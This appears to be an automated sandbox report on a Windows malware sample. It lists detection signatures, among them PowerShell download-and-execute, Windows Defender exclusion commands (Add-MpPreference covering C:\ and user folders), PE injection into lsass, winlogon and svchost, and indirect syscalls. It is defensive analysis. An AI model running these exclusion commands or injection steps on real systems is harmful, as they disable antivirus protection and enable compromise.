Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_404.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_936.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7616.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7616, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 2D016580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 2D6F14E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14E41FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1D15B010000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23AF32B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23C9FD60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A1CA6E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 246ED7B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 200A1980000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22595FB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22E670C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FE4A4B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24C19A40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275D1FC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23BBDC90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 227D8FC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2DED2C70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14ACE6B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 220AEFD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241B6950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 202A22A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14D25AA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BD1A2F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A63950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1834ABA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2D8F03D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18BAF3C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 256EBEB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2568E1B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 226A7DC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 12A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E2C0F50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2EE0D7C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22B68FC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 207EA800000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE9B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 11CD6340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AFDEB70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 207C0460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 245A2150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24708EB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22F60740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26E569B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2CA8FE60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1D63DC30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A799B20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F6984F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26481BB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 166D2DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 128DE440000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2101D0E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 2D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 192D1E50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26DD2000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257155B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 16443E50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2C8A7000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1E968250000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A9452E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 29227D20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 283E5BE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 14BB07C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C4F660000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE850000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 281CF7C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28843650000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 20D6ED80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 24618740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2495FDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 17DD92C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 26473470000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23F13F00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 205ECFC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1C2AEBD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 26878460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1DCAFC10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 22464430000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E4DACB0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 49_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

49_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 1658273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: F14E273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 41FA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: 5B01273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F32B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9FD6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CA6E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ED7B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A198273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 95FB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 670C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4A4B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 19A4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D1FC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BDC9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D8FC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D2C7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CE6B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEFD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B695273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A22A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25AA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1A2F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6395273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ABA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F03D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AF3C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EBEB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8E1B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A7DC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 12A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C0F5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D7C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 68FC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EA80273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CE9B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D634273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DEB7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C046273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A215273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8EB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6074273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 569B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8FE6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3DC3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 99B2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 984F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 81BB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D2DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE44273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1D0E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2D4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D1E5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D200273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 155B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 43E5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A700273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6825273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 452E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 27D2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E5BE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B07C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4F66273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AE85273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1B9F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F3CD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CF7C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4365273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6ED8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1874273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5FDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D92C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7347273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13F0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ECFC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEBD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AFC1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6443273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DACB273C

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\Mig\Mig.exe	NtQueryInformationProcess: Indirect: 0x7FF6AEA3A315
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQuerySystemInformation: Indirect: 0x7FF70B0F2108
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQueryInformationProcess: Indirect: 0x7FF70B0FA315
Source: C:\ProgramData\Mig\Mig.exe	NtQueryInformationProcess: Indirect: 0x7FF6AEA3A43D
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQuerySystemInformation: Indirect: 0x7FF70B0C6D37
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQueryInformationProcess: Indirect: 0x7FF70B0FA43D
Source: C:\ProgramData\Mig\Mig.exe	NtQuerySystemInformation: Indirect: 0x7FF6AEA32108
Source: C:\ProgramData\Mig\Mig.exe	NtQuerySystemInformation: Indirect: 0x7FF6AEA06D37

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B010000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF32B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FD60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 246ED7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A1980000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22595FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E670C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24C19A40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275D1FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23BBDC90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 227D8FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2DED2C70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14ACE6B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 220AEFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241B6950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 202A22A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D25AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BD1A2F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A63950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1834ABA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D8F03D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18BAF3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 256EBEB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2568E1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 226A7DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 12A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2C0F50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2EE0D7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22B68FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA800000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE9B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 11CD6340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AFDEB70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 207C0460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 245A2150000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24708EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F60740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26E569B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2CA8FE60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63DC30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A799B20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F6984F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26481BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 166D2DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 128DE440000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2101D0E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 2D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 192D1E50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26DD2000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257155B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 16443E50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2C8A7000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E968250000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9452E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 29227D20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 283E5BE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 14BB07C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C4F660000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE850000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 281CF7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28843650000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 20D6ED80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 24618740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2495FDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 17DD92C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26473470000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F13F00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205ECFC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1C2AEBD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 26878460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1DCAFC10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 22464430000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E4DACB0000 value starts with: 4D5A

